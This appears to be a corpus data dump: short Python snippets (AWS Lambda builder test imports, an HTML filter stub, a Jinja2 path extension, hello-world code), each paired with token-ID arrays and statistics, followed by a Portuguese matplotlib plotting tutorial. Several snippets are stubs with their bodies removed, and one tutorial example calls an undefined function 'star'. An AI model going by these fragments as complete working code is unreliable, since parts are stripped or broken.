41636,
7112,
55,
62,
25664,
796,
705,
7890,
14,
68,
11840,
62,
6759,
8609,
62,
16,
13,
15,
13,
79,
41582,
6,
198,
198,
47,
1404,
28495,
62,
38827,
1581,
5258,
62,
25664,
796,
705,
7890,
14,
26029,
62,
8344,
3669,
13,
79,
41582,
6,
198,
47,
1404,
28495,
62,
38827,
1581,
5258,
62,
37,
17961,
62,
25664,
796,
705,
7890,
14,
26029,
62,
8344,
3669,
62,
20311,
13,
79,
41582,
6,
198,
47,
1404,
28495,
62,
38827,
1581,
5258,
62,
25664,
62,
26861,
5883,
6239,
6158,
796,
705,
7890,
14,
26029,
62,
8344,
3669,
62,
4134,
388,
5039,
62,
13199,
62,
4852,
3064,
13,
79,
41582,
6,
198,
47,
1404,
28495,
62,
38827,
1581,
5258,
62,
25664,
62,
5188,
27082,
6158,
796,
705,
7890,
14,
26029,
62,
8344,
3669,
62,
25512,
378,
62,
13199,
62,
4852,
3064,
13,
79,
41582,
6,
198,
198,
10943,
42006,
2389,
62,
25664,
796,
705,
7890,
14,
43169,
82,
17,
312,
62,
76,
5912,
13,
79,
41582,
6,
198,
198,
2,
360,
3539,
16630,
2640,
1546,
62,
12115,
6369,
796,
657,
198,
2,
41755,
1961,
29514,
62,
12115,
6369,
796,
352,
198,
2,
26112,
2149,
18421,
62,
12115,
6369,
796,
362,
198,
198,
53,
4503,
62,
25664,
796,
705,
7890,
14,
18893,
13,
79,
41582,
6,
198,
10761,
31300,
62,
25664,
796,
705,
7890,
14,
34960,
13,
79,
41582,
6,
628,
198,
2,
36658,
855,
13783,
226,
49426,
228,
43889,
253,
34650,
233,
36,
17184,
46763,
108,
162,
235,
106,
171,
120,
234,
34460,
231,
20998,
244,
43380,
117,
41753,
242,
164,
106,
108,
37605,
243,
4770,
198,
2,
356,
8804,
636,
286,
262,
12416,
422,
3740,
1378,
12567,
13,
785,
14,
82,
73,
88,
1065,
3070,
14,
38,
2390,
1677,
316,
628,
628,
628,
628,
198,
198,
2,
36658,
1421,
28,
628,
220,
220,
220,
1303,
1813,
257,
8379,
286,
3315,
10838,
11,
7330,
511,
220,
2340,
290,
3650,
262,
16855,
628,
628,
628,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
1429,
62,
68,
11840,
3419,
198,
220,
220,
220,
3975,
62,
43169,
82,
17,
312,
3419,
198,
220,
220,
220,
1382,
62,
1860,
72,
62,
6759,
8609,
3419,
198,
220,
220,
220,
1382,
62,
26029,
62,
8344,
3669,
3419,
198,
220,
220,
220,
1366,
62,
37687,
11347,
3419,
198,
220,
220,
220,
1382,
62,
1073,
62,
13966,
33928,
62,
6759,
8609,
3419,
198
] | 2.292496 | 653 |
from unittest import TestCase
from concurrent.futures import ThreadPoolExecutor
from mock import patch
import os
import platform
from aws_lambda_builders.actions import ActionFailedError
from aws_lambda_builders.workflows.dotnet_clipackage.dotnetcli import DotnetCLIExecutionError
from aws_lambda_builders.workflows.dotnet_clipackage.actions import GlobalToolInstallAction, RunPackageAction
@patch.object(GlobalToolInstallAction, "_GlobalToolInstallAction__tools_installed", False)
| [
6738,
555,
715,
395,
1330,
6208,
20448,
198,
198,
6738,
24580,
13,
69,
315,
942,
1330,
14122,
27201,
23002,
38409,
198,
6738,
15290,
1330,
8529,
198,
11748,
28686,
198,
11748,
3859,
198,
198,
6738,
3253,
82,
62,
50033,
62,
50034,
13,
4658,
1330,
7561,
37,
6255,
12331,
198,
6738,
3253,
82,
62,
50033,
62,
50034,
13,
1818,
44041,
13,
26518,
3262,
62,
15036,
441,
496,
13,
26518,
3262,
44506,
1330,
22875,
3262,
5097,
40,
23002,
1009,
12331,
198,
6738,
3253,
82,
62,
50033,
62,
50034,
13,
1818,
44041,
13,
26518,
3262,
62,
15036,
441,
496,
13,
4658,
1330,
8060,
25391,
15798,
12502,
11,
5660,
27813,
12502,
628,
198,
31,
17147,
13,
15252,
7,
22289,
25391,
15798,
12502,
11,
45434,
22289,
25391,
15798,
12502,
834,
31391,
62,
37050,
1600,
10352,
8,
628
] | 3.717557 | 131 |
import re
from collections import defaultdict
import rules
attrs_re = re.compile(r"""\s*(\w+)\s*=\s*(["'])(.*?)(?<!\\)\2""", re.DOTALL)
class HTMLFilter:
"""Simple HTML white list filter.
Usage:
hf = HTMLFilter()
filtered_html = hf.filter(html)
The filter parses the code for < and > characters.
It tries to correct malformed tags and close them.
Use it with a WYSIWYG editor on the client side
to convert user's < and > inputs into < and >
For the tough stuff, prefer BeautifulSoup.
"""
| [
11748,
302,
198,
6738,
17268,
1330,
4277,
11600,
198,
198,
11748,
3173,
198,
198,
1078,
3808,
62,
260,
796,
302,
13,
5589,
576,
7,
81,
37811,
59,
82,
9,
38016,
86,
10,
19415,
82,
9,
28,
59,
82,
9,
7,
14692,
20520,
5769,
15885,
30,
5769,
30,
27,
0,
6852,
19415,
17,
15931,
1600,
302,
13,
35,
2394,
7036,
8,
628,
198,
4871,
11532,
22417,
25,
198,
220,
220,
220,
37227,
26437,
11532,
2330,
1351,
8106,
13,
628,
220,
220,
220,
29566,
25,
198,
220,
220,
220,
220,
220,
220,
220,
289,
69,
796,
11532,
22417,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
29083,
62,
6494,
796,
289,
69,
13,
24455,
7,
6494,
8,
628,
220,
220,
220,
383,
8106,
13544,
274,
262,
2438,
329,
1279,
290,
1875,
3435,
13,
198,
220,
220,
220,
632,
8404,
284,
3376,
6428,
12214,
15940,
290,
1969,
606,
13,
628,
220,
220,
220,
5765,
340,
351,
257,
370,
56,
11584,
54,
56,
38,
5464,
319,
262,
5456,
1735,
198,
220,
220,
220,
284,
10385,
2836,
338,
1279,
290,
1875,
17311,
656,
1222,
2528,
26,
290,
1222,
13655,
26,
628,
220,
220,
220,
1114,
262,
5802,
3404,
11,
4702,
23762,
50,
10486,
13,
628,
220,
220,
220,
37227,
198
] | 2.674757 | 206 |
import time
class get_rate_limited_function(object):
"""
Close over a function and a time limit in seconds. The resulting object can
be called like the function, but will not delegate to the function if that
function was called through the object in the time limit.
Clients can ignore the time limit by calling the function directly as the
func attribute of the object.
"""
def merge_dicts(*dict_args):
"""
Given any number of dicts, shallow copy and merge into a new dict,
precedence goes to key value pairs in latter dicts.
"""
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result
| [
11748,
640,
628,
198,
4871,
651,
62,
4873,
62,
10698,
62,
8818,
7,
15252,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
13872,
625,
257,
2163,
290,
257,
640,
4179,
287,
4201,
13,
383,
7186,
2134,
460,
198,
220,
220,
220,
307,
1444,
588,
262,
2163,
11,
475,
481,
407,
23191,
284,
262,
2163,
611,
326,
198,
220,
220,
220,
2163,
373,
1444,
832,
262,
2134,
287,
262,
640,
4179,
13,
628,
220,
220,
220,
1012,
2334,
460,
8856,
262,
640,
4179,
416,
4585,
262,
2163,
3264,
355,
262,
198,
220,
220,
220,
25439,
11688,
286,
262,
2134,
13,
198,
220,
220,
220,
37227,
628,
198,
4299,
20121,
62,
11600,
82,
46491,
11600,
62,
22046,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
11259,
597,
1271,
286,
8633,
82,
11,
19337,
4866,
290,
20121,
656,
257,
649,
8633,
11,
198,
220,
220,
220,
38177,
2925,
284,
1994,
1988,
14729,
287,
6846,
8633,
82,
13,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
1255,
796,
23884,
198,
220,
220,
220,
329,
22155,
287,
8633,
62,
22046,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1255,
13,
19119,
7,
67,
14188,
8,
198,
220,
220,
220,
1441,
1255,
198
] | 3.349754 | 203 |
# -*- coding: utf-8 -*-
"""
Extensions that introduce `basename` and `dirname` as Jinja2 filters.
Examples
--------
my_path = "/some/absolute/path/with/file.txt"
{{ my_path | basename }}
Will fill in `file.txt`.
"""
from __future__ import absolute_import
import os.path
from jinja2.ext import Extension
__all__ = ("OSPathExtension",)
class OSPathExtension(Extension):
"""A Jinja2 extension that introduces `os.path` functionality."""
tags = frozenset(["basename", "dirname", "abspath"])
def __init__(self, environment):
"""Initialize the extension and prepare the Jinja2 environment."""
super(OSPathExtension, self).__init__(environment)
for name in self.tags:
environment.filters[name] = getattr(os.path, name)
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
37811,
198,
11627,
5736,
326,
10400,
4600,
12093,
12453,
63,
290,
4600,
15908,
3672,
63,
355,
17297,
6592,
17,
16628,
13,
198,
198,
27730,
198,
982,
628,
220,
220,
220,
616,
62,
6978,
796,
12813,
11246,
14,
48546,
14,
6978,
14,
4480,
14,
7753,
13,
14116,
1,
198,
220,
220,
220,
22935,
616,
62,
6978,
930,
1615,
12453,
34949,
198,
198,
8743,
6070,
287,
4600,
7753,
13,
14116,
44646,
198,
37811,
198,
198,
6738,
11593,
37443,
834,
1330,
4112,
62,
11748,
198,
198,
11748,
28686,
13,
6978,
198,
198,
6738,
474,
259,
6592,
17,
13,
2302,
1330,
27995,
198,
198,
834,
439,
834,
796,
5855,
2640,
15235,
11627,
3004,
1600,
8,
628,
198,
4871,
440,
4303,
776,
11627,
3004,
7,
11627,
3004,
2599,
198,
220,
220,
220,
37227,
32,
17297,
6592,
17,
7552,
326,
20718,
4600,
418,
13,
6978,
63,
11244,
526,
15931,
628,
220,
220,
220,
15940,
796,
8400,
8247,
316,
7,
14692,
12093,
12453,
1600,
366,
15908,
3672,
1600,
366,
397,
2777,
776,
8973,
8,
628,
220,
220,
220,
825,
11593,
15003,
834,
7,
944,
11,
2858,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
24243,
1096,
262,
7552,
290,
8335,
262,
17297,
6592,
17,
2858,
526,
15931,
198,
220,
220,
220,
220,
220,
220,
220,
2208,
7,
2640,
15235,
11627,
3004,
11,
2116,
737,
834,
15003,
834,
7,
38986,
8,
198,
220,
220,
220,
220,
220,
220,
220,
329,
1438,
287,
2116,
13,
31499,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2858,
13,
10379,
1010,
58,
3672,
60,
796,
651,
35226,
7,
418,
13,
6978,
11,
1438,
8,
198
] | 2.736842 | 285 |
from __future__ import print_function
import pdb
import pytest
import sys
| [
6738,
11593,
37443,
834,
1330,
3601,
62,
8818,
198,
11748,
279,
9945,
198,
11748,
12972,
9288,
198,
11748,
25064,
628,
628,
628,
628,
198
] | 3.416667 | 24 |
# STDLIB
import sys
# main{{{
def main() -> None:
"""
the main method, prints hello world
Parameter
----------
none
none
Result
----------
none
Exceptions
----------
none
Examples
----------
>>> main()
Hello World - by PizzaCutter
"""
# main}}}
print("Hello World - by PizzaCutter")
if __name__ == "__main__":
print(b'this is a library only, the executable is named "pct_python_default_test_cli.py"', file=sys.stderr)
| [
2,
3563,
19260,
9865,
198,
11748,
25064,
628,
198,
2,
1388,
27007,
90,
198,
4299,
1388,
3419,
4613,
6045,
25,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
262,
1388,
2446,
11,
20842,
23748,
995,
628,
198,
220,
220,
220,
25139,
2357,
198,
220,
220,
220,
24200,
438,
198,
220,
220,
220,
4844,
198,
220,
220,
220,
220,
220,
220,
220,
4844,
628,
198,
220,
220,
220,
25414,
198,
220,
220,
220,
24200,
438,
198,
220,
220,
220,
4844,
628,
198,
220,
220,
220,
1475,
11755,
198,
220,
220,
220,
24200,
438,
198,
220,
220,
220,
4844,
628,
198,
220,
220,
220,
21066,
198,
220,
220,
220,
24200,
438,
628,
220,
220,
220,
13163,
1388,
3419,
198,
220,
220,
220,
18435,
2159,
532,
416,
20952,
34,
10381,
628,
220,
220,
220,
37227,
198,
220,
220,
220,
1303,
1388,
42535,
628,
220,
220,
220,
3601,
7203,
15496,
2159,
532,
416,
20952,
34,
10381,
4943,
628,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
3601,
7,
65,
470,
14363,
318,
257,
5888,
691,
11,
262,
28883,
318,
3706,
366,
79,
310,
62,
29412,
62,
12286,
62,
9288,
62,
44506,
13,
9078,
1,
3256,
2393,
28,
17597,
13,
301,
1082,
81,
8,
198
] | 2.485577 | 208 |
import ctypes
from lib.logger import log
from receiver.game_version import CrossGamePacketHeader
class PacketHeader(CrossGamePacketHeader):
"""
The Packet Header is the same across F12020 and F12021
Hence we use one shared HeaderClass for now
May have to upgrade that logic if it changes
"""
pass | [
11748,
269,
19199,
198,
198,
6738,
9195,
13,
6404,
1362,
1330,
2604,
198,
6738,
9733,
13,
6057,
62,
9641,
1330,
6372,
8777,
47,
8317,
39681,
628,
198,
198,
4871,
6400,
316,
39681,
7,
21544,
8777,
47,
8317,
39681,
2599,
198,
220,
220,
220,
37227,
220,
198,
220,
220,
220,
383,
6400,
316,
48900,
318,
262,
976,
1973,
376,
10232,
1238,
290,
376,
10232,
2481,
198,
220,
220,
220,
16227,
356,
779,
530,
4888,
48900,
9487,
329,
783,
198,
220,
220,
220,
1737,
423,
284,
8515,
326,
9156,
611,
340,
2458,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
1208
] | 3.25 | 100 |
# Plotagem básica com _matplotlib_
## Visualização de dados
A visualização de dados é um campo do conhecimento bastante antigo que foi trazido à mostra muito recentemente com a expansão do "Big Data". Seu principal objetivo é representar dados e informações graficamente por meio de elementos visuais como tabelas, gráficos, mapas e infográficos. Diversas ferramentas estão disponíveis para tornar a interpretação de dados mais clara, compreensível e acessível.
No contexto da análise de dados, a visualização de dados é um componente fundamental para a criação de relatórios de negócios, painéis de instrumentos (_dashboards_) e gráficos multidimensionais que são aplicáveis às mais diversas disciplinas, tais como Economia, Ciência Política e, principalmente, todo o núcleo de ciências exatas (Matemática, Estatística e Computação).
Em seu livro _The Visual Display of Quantitative Information_, [[Edward Tufte]](https://www.edwardtufte.com/tufte/), conhecido como o guru do _design_ aplicado à visualização de dados, afirma que, a cada ano, o mundo produz algo entre 900 bilhões e 2 trilhões de imagens impressas de gráficos. Ele destaca que o _design_ de um gráfico estatístico, por exemplo, é uma matéria universal similar à Matemática e não está atrelado a características únicas de uma linguagem particular. Portanto, aprender visualização de dados para comunicar dados com eficiência é tão importante quanto aprender a Língua Portuguesa para escrever melhor.
Você pode ver uma lista sugestiva de bons blogues e livros sobre visualização de dados nas páginas de aprendizagem do software Tableau [[TabelauBlogs]](https://www.tableau.com/learn/articles/best-data-visualization-blogs), [[TabelauBooks]](https://www.tableau.com/learn/articles/books-about-data-visualization).
## _Data storytelling_
_Data Storytelling_ é o processo de "contar histórias através dos dados". [[Cole Knaflic]](http://www.storytellingwithdata.com), uma engenheira de dados do Google, ao perceber como a quantidade de informação produzida no mundo às vezes é muito mal lida e comunicada, escreveu dois *best-sellers* sobre este tema a fim de ajudar pessoas a comunicarem melhor seus dados e produtos quantitativos. Ela argumenta em seu livro *Storytelling with Data: A Data Visualization Guide for Business Professionals* (*Storytelling com Dados: um Guia Sobre Visualização de Dados Para Profissionais de Negócios*, na versão em português) que não somos inerentemente bons para "contar uma história" através dos dados. Cole mostra com poucas lições o que devemos aprender para atingir uma comunicação eficiente por meio da visualização de dados.
## Plotagem matemática
_Plotagem_ é o termo comumente empregado para o esboço de gráficos de funções matemáticas via computador. Plotar gráficos é uma das tarefas que você mais realizará como futuro(a) cientista ou analista de dados. Nesta aula, nós introduziremos você ao universo da plotagem de gráficos em duas dimensões e ensinar como você pode visualizar dados facilmente com a biblioteca *matplotlib*. Daremos uma visão geral principalmente sobre a plotagem de funções matemáticas utilizando *arrays* e recursos de computação vetorizada com *numpy* já aprendidos. Ao longo do curso, você aprenderá a fazer plotagens mais interessantes de cunho estatístico.
## A biblioteca *matplotlib*
*Matplotlib* é a biblioteca Python mais conhecida para plotagem 2D (bidimensional) de *arrays*. Sua filosofia é simples: criar plotagens simples com apenas alguns comandos, ou apenas um. John Hunter [[History]](https://matplotlib.org/users/history.html), falecido em 2012, foi o autor desta biblioteca. Em 2008, ele escreveu que, enquanto buscava uma solução em Python para plotagem 2D, ele gostaria de ter, entre outras coisas:
- gráficos bonitos com pronta qualidade para publicação;
- capacidade de incorporação em interfaces gráficas para desenvolvimento de aplicações;
- um código fácil de entender e de manusear.
O *matplotlib* é um código dividido em três partes:
1. A interface *pylab*: um conjunto de funções predefinidas no submódulo `matplotlib.pyplot`.
2. O *frontend*: um conjunto de classes responsáveis pela criação de figuras, textos, linhas, gráficos etc. No *frontend*, todos os elementos gráficos são objetos ainda abstratos.
3. O *backend*: um conjunto de renderizadores responsáveis por converter os gráficos para dispositivos onde eles podem ser, de fato, visualizados. A [[renderização]](https://pt.wikipedia.org/wiki/Renderização) é o produto final do processamento digital. Por exemplo, o *backend* PS é responsável pela renderização de [[PostScript]](https://www.adobe.com/br/products/postscript.html). Já o *backend* SVG constroi gráficos vetoriais escaláveis ([[Scalable Vector Graphics]](https://www.w3.org/Graphics/SVG/).
Veja o conceito de [[Canvas]](https://en.wikipedia.org/wiki/Canvas_(GUI)).
### Sessões interativas do *matplotlib*
Sessões interativas do *matplotlib* são habilitadas através de um [[comando mágico]](https://ipython.readthedocs.io/en/stable/interactive/magics.html):
- Em consoles, use `%matplotlib`;
- No Jupyter notebook, use `%matplotlib inline`.
Lembre que na aula anterior usamos o comando mágico `%timeit` para temporizar operações.
Para usar plenamente o matplotlib nesta aula, vamos usar:
```python
%matplotlib inline
from matplotlib import pyplot as plt
```
A segunda instrução também pode ser feita como
```python
import matplotlib.pyplot as plt
```
em que `plt` é um *alias* já padronizado.
# chamada padrão
%matplotlib inline
import matplotlib.pyplot as plt
## Criação de plots simples
Vamos importar o *numpy* para usarmos os benefícios da computação vetorizada e plotar nossos primeiros exemplos.
import numpy as np
x = np.linspace(-10,10,50)
y = x
plt.plot(x,y); # reta y = x
**Exemplo:** plote o gráfico da parábola $f(x) = ax^2 + bx + c$ para valores quaisquer de $a,b,c$ no intervalo $-20 \leq x \leq 20$.
x = np.linspace(-20,20,50)
a,b,c = 2,3,4
y = a*x**2 + b*x + c # f(x)
plt.plot(x,y);
Podemos definir uma função para plotar a parábola:
def plota_parabola(a,b,c):
x = np.linspace(-20,21,50)
y = a*x**2 + b*x + c
plt.plot(x,y)
Agora podemos estudar o que cada coeficiente faz:
# mude o valor de a e considere b = 2, c = 1
for a in np.linspace(-2,3,10):
plota_parabola(a,2,1)
# mude o valor de b e considere a = 2, c = 1
for b in np.linspace(-2,3,20):
plota_parabola(2,b,1)
# mude o valor de c e considere a = 2, b = 1
for c in np.linspace(-2,3,10):
plota_parabola(2,1,c) # por que você não vê muitas mudanças?
# mude o valor de a, b e c
valores = np.linspace(-2,3,5)
for a in valores:
for b in valores:
for c in valores:
plota_parabola(a,b,c)
**Exemplo:** plote o gráfico da função $g(t) = a\cos(bt + \pi)$ para valores quaisquer de $a$ e $b$ no intervalo $0 \leq t \leq 2\pi$.
t = np.linspace(0,2*np.pi,50,endpoint=True) # t: ângulo
a, b = 1, 1
plt.plot(t,a*np.cos(b*t + np.pi));
b = 2
plt.plot(t,a*np.cos(b*t + np.pi));
b = 3
plt.plot(t,a*np.cos(b*t + np.pi));
As cores e marcações no gráfico são todas padronizadas. Vejamos como alterar tudo isto.
## Alteração de propriedades e estilos de linhas
Altere:
- cores com `color` ou `c`,
- espessura de linha com `linewidth` ou `lw`
- estilo de linha com `linestyle` ou `ls`
- tipo de símbolo marcador com `marker`
- largura de borda do símbolo marcardor com `markeredgewidth` ou `mew`
- cor de borda do símbolo marcardor com `markeredgecolor` ou `mec`
- cor de face do símbolo marcardor com `markerfacecolor` ou `mfc`
- transparência com `alpha` no intervalo [0,1]
g = lambda a,b: a*np.cos(b*t + np.pi) # assume t anterior
# estude cada exemplo
# a ordem do 3o. argumento em diante pode mudar
plt.plot(t,g(1,1),color='c',linewidth=5,linestyle='-.',alpha=.3)
plt.plot(t,g(1,2),c='g',ls='-',lw='.7',marker='s',mfc='y',ms=8)
plt.plot(t,g(1,3),c='#e26d5a',ls=':', marker='d',mec='k',mew=2.0);
Cores e estilo de linha podem ser especificados de modo reduzido e em ordens distintas usando um especificador de formato.
plt.plot(t,g(1,1),'yv') # amarelo; triângulo para baixo;
plt.plot(t,g(1,2),':c+') # pontilhado; ciano; cruz;
plt.plot(t,-g(2,2),'>-.r'); # triangulo direita; traço-ponto; vermelho;
### Plotagem múltipla
O exemplo acima poderia ser feito como plotagem múltipla em 3 blocos do tipo (`x,y,'fmt')`, onde `x` e `y` são as informações dos eixos coordenados e `fmt` é uma string de formatação.
plt.plot(t,g(1,1),'yv', t,g(1,2),':c+', t,-g(2,2),'>-.r'); # 3 blocos sequenciados
Para verificar todas as opções de propriedades e estilos de linhas, veja `plt.plot?`.
### Especificação de figuras
Use `plt.figure` para criar um ambiente de figura e altere:
- a largura e altura (em polegadas) com `figsize = (largura,altura)`. O padrão é (6.4,4.8).
- a resolução (em pontos por polegadas) com `dpi`. O padrão é 100.
- a cor de fundo (*background*) com `facecolor`. O padrão é `w` (branco).
**Exemplo:** Plote os gráficos de $h_1(x) = a\sqrt{x}$ e $h_2(x) = be^{\frac{x}{c}}$ para valores de a,b,c e propriedades acima livres.
x = np.linspace(0,10,50,endpoint=True)
h1, h2 = lambda a: a*np.sqrt(x), lambda b,c: b*np.exp(x/c)
plt.figure(figsize=(8,6), dpi=200, facecolor='#e0eeee')
plt.plot(x,h1(.9),x,h2(1,9));
### Alterando limites e marcações de eixos
Altere:
- o intervalo do eixo `x` com `xlim`
- o intervalo do eixo `y` com `ylim`
- as marcações do eixo `x` com `xticks`
- as marcações do eixo `y` com `yticks`
plt.plot(x,h1(.9),x,h2(1,9)); plt.xlim(1.6,9.2); plt.ylim(1.0,2.8);
plt.figure(figsize=(10,8))
plt.plot(t,g(1,3),c=[0.1,0.4,0.5],marker='s',mfc='w',mew=2.0);
plt.plot(t,g(1.2,2),c=[1.0,0.5,0.0],ls='--',marker='>',mfc='c',mew=1.0,ms=10);
plt.xticks([0, np.pi/2,np.pi,3*np.pi/2,2*np.pi]); # lista de múltiplos de pi
plt.yticks([-1, 0, 1]); # 3 valores em y
### Especificando texto de marcações em eixos
Podemos alterar as marcações das `ticks` passando um texto indicativo. No caso anterior, seria melhor algo como:
plt.figure(figsize=(10,8))
plt.plot(t,g(1,3),c=[0.1,0.4,0.5],marker='s',mfc='w',mew=2.0);
plt.plot(t,g(1.2,2),c=[1.0,0.5,0.0],ls='--',marker='>',mfc='c',mew=1.0,ms=10);
# o par de $...$ formata os números na linguagem TeX
plt.xticks([0, np.pi/2,np.pi,3*np.pi/2,2*np.pi], ['$0$','$\pi/2$','$\pi$','$3/2\pi$','$2\pi$']);
plt.yticks([-1, 0, 1], ['$y = -1$', '$y = 0$', '$y = +1$']);
### Deslocamento de eixos principais
Os eixos principais podem ser movidos para outras posições arbitrárias e as bordas da área de plotagem desligadas usando `spine`.
# plotagem da função
x = np.linspace(-3,3)
plt.plot(x,x**1/2*np.sin(x)-0.5); # f(x) = √x*sen(x) - 1/2
ax = plt.gca()
ax.spines['right'].set_color('none') # remove borda direita
ax.spines['top'].set_color('none') # remove borda superior
ax.spines['bottom'].set_position(('data',0)) # desloca eixo para x = 0
ax.spines['left'].set_position(('data',0)) # desloca eixo para y = 0
ax.xaxis.set_ticks_position('top') # desloca marcações para cima
ax.yaxis.set_ticks_position('right') # desloca marcações para a direita
plt.xticks([-2,0,2]) # altera ticks de x
ax.set_xticklabels(['esq.','zero','dir.']) # altera ticklabels de x
plt.yticks([-0.4,0,0.4]) # altera ticks de y
ax.set_yticklabels(['sup.','zero','inf.']); # altera ticklabels de y
### Inserção de legendas
Para criarmos:
- uma legenda para os gráficos, usamos `legend`.
- uma legenda para o eixo x, usamos `xlabel`
- uma legenda para o eixo y, usamos `ylabel`
- um título para o gráfico, usamos `title`
**Exemplo:** plote o gráfico da reta $f_1(x) = x + 1$ e da reta $f_2(x) = 1 - x$ e adicione uma legenda com cores azul e laranja.
plt.plot(x, x + 1,'-b', label = 'y = x + 1' )
plt.plot(x, 1-x, c = [1.0,0.5,0.0], label = 'y = 1 - x'); # laranja: 100% de vermelho, 50% verde
plt.legend(loc = 'best') # 'loc=best' : melhor localização da legenda
plt.xlabel('x'); plt.ylabel('y'); plt.title('Gráfico de duas retas');
#### Localização de legendas
Use `loc=valor` para especificar onde posicionar a legenda. Use `plt.legend?` para verificar as posições disponíveis para `valor`. Vide tabela de valores `Location String` e `Location Code`.
plt.plot(np.nan,np.nan,label='upper right'); # nan : not a number
plt.legend(loc=1); # usando número
plt.plot(np.nan,np.nan,label='loc=1');
plt.legend(loc='upper right'); # usando a string correspondente
### Alteração de tamanho de fonte
Para alterar o tamanho da fonte de legendas, use `fontsize`.
plt.plot(np.nan,np.nan,label='legenda');
FSx, FSy, FSleg, FStit = 10, 20, 30, 40
plt.xlabel('Eixo x',c='b', fontsize=FSx)
plt.ylabel('Eixo y',c='g', fontsize=FSy)
plt.legend(loc='center', fontsize=FSleg);
plt.title('Título', c='c', fontsize=FStit);
### Anotações simples
Podemos incluir anotações em gráficos com a função `annotate(texto,xref,yref)`
plt.plot(np.nan,np.nan);
plt.annotate('P (0.5,0.5)',(0.5,0.5));
plt.annotate('Q (0.1,0.8)',(0.1,0.8));
**Exemplo**: gere um conjunto de 10 pontos $(x,y)$ aleatórios em que $0.2 < x,y < 0.8$ e anote-os no plano.
# gera uma lista de 10 pontos satisfazendo a condição
P = []
while len(P) != 10:
xy = np.round(np.random.rand(2),1)
test = np.all( (xy > 0.2) & (xy < 0.8) )
if test:
P.append(tuple(xy))
# plota o plano
plt.figure(figsize=(8,8))
plt.xlim(0,1)
plt.ylim(0,1)
for ponto in P:
plt.plot(ponto[0],ponto[1],'o')
plt.annotate(f'({ponto[0]},{ponto[1]})',ponto,fontsize=14)
**Problema:** o código acima tem um problema. Verifique que `len(P) = 10`, mas ele não plota os 10 pontos como gostaríamos de ver. Descubra o que está acontecendo e proponha uma solução.
## Multiplotagem e eixos
No matplotlib, podemos trabalhar com a função `subplot(m,n,p)` para criar múltiplas figuras e eixos independentes como se cada figura fosse um elemento de uma grande "matriz de figuras" de `m` linhas e `n` colunas, enquanto `p` é o índice da figura (este valor será no máximo o produto `mxn`). A função funciona da seguinte forma.
- Exemplo 1: suponha que você queira criar 3 figuras e dispô-las em uma única linha. Neste caso, `m = 1`, `n = 3` e `p` variará de 1 a 3, visto que `mxn = 3`.
- Exemplo 2: suponha que você queira criar 6 figuras e dispô-las em 2 linhas e 3 colunas. Neste caso, `m = 2`, `n = 3` e `p` variará de 1 a 6, visto que `mxn = 6`.
- Exemplo 3: suponha que você queira criar 12 figuras e dispô-las em 4 linhas e 3 colunas. Neste caso, `m = 4`, `n = 3` e `p` variará de 1 a 12, visto que `mxn = 12`.
Cada plotagem possui seu eixo independentemente da outra.
**Exemplo 1:** gráfico de 1 reta, 1 parábola e 1 polinômio cúbico lado a lado.
x = np.linspace(-5,5,20)
plt.figure(figsize=(15,4))
# aqui p = 1
plt.subplot(1,3,1) # plt.subplot(131) também é válida
plt.plot(x,2*x-1,c='r',marker='^')
plt.title('$y=2x-1$')
# aqui p = 2
plt.subplot(1,3,2) # plt.subplot(132) também é válida
plt.plot(x,3*x**2 - 2*x - 1,c='g',marker='o')
plt.title('$y=3x^2 - 2x - 1$')
# aqui p = 3
plt.subplot(1,3,3) # plt.subplot(133) também é válida
plt.plot(x,1/2*x**3 + 3*x**2 - 2*x - 1,c='b',marker='*')
plt.title('$y=1/2x^3 + 3x^2 - 2x - 1$');
**Exemplo 2:** gráficos de {$sen(x)$, $sen(2x)$, $sen(3x)$} e {$cos(x)$, $cos(2x)$, $cos(3x)$} dispostos em matriz 2x3.
plt.figure(figsize=(15,4))
plt.subplots_adjust(top=2.5,right=1.2) # ajusta a separação dos plots individuais
def sencosx(p):
x = np.linspace(0,2*np.pi,50)
plt.subplot(2,3,p)
if p <= 3:
plt.plot(x,np.sin(p*x),c=[p/4,p/5,p/6],label=f'$sen({p}x)$')
plt.title(f'subplot(2,3,{p})');
else:
plt.title(f'subplot(2,3,{p})');
p-=3 #
plt.plot(x,np.cos(p*x),c=[p/9,p/7,p/8],label=f'$cos({p}x)$')
plt.legend(loc=0,fontsize=8)
plt.xlabel('x'); plt.ylabel('y');
# plotagem
for p in range(1,7):
sencosx(p)
**Exemplo 3:** gráficos de um ponto isolado em matriz 4 x 3.
plt.figure(figsize=(15,4))
m,n = 4,3
for p in range(1,m*n+1):
star(p);
## Plots com gradeado
Podemos habilitar o gradeado usando `grid(b,which,axis)`.
Para especificar o gradeado:
- em ambos os eixos, use `b='True'` ou `b='False'`.
- maior, menor ou ambos, use `which='major'`, `which='minor'` ou `which='both'`.
- nos eixos x, y ou ambos, use `axis='x'`, `axis='y'` ou `axis='both'`.
x = np.linspace(-10,10)
plt.plot(x,x)
plt.grid(True)
plt.plot(x,x)
plt.grid(True,which='major',axis='x')
plt.plot(x,x)
plt.grid(True,which='major',axis='y')
**Exemplo:** plotagem de gradeado.
Neste exemplo, um eixo abstrato é adicionado sobre a figura (criada diretamente) origem no ponto (0.025,0.025), largura 0.95 e altura 0.95.
ax = plt.axes([0.025, 0.025, 0.95, 0.95])
ax.set_xlim(0,4)
ax.set_ylim(0,3)
# MultipleLocator estabelece pontos de referência para divisão da grade
ax.xaxis.set_major_locator(plt.MultipleLocator(1.0)) # divisor maior em X
ax.xaxis.set_minor_locator(plt.MultipleLocator(0.2)) # divisor maior em X
ax.yaxis.set_major_locator(plt.MultipleLocator(1.0)) # divisor maior em Y
ax.yaxis.set_minor_locator(plt.MultipleLocator(0.1)) # divisor maior em Y
# propriedades das linhas
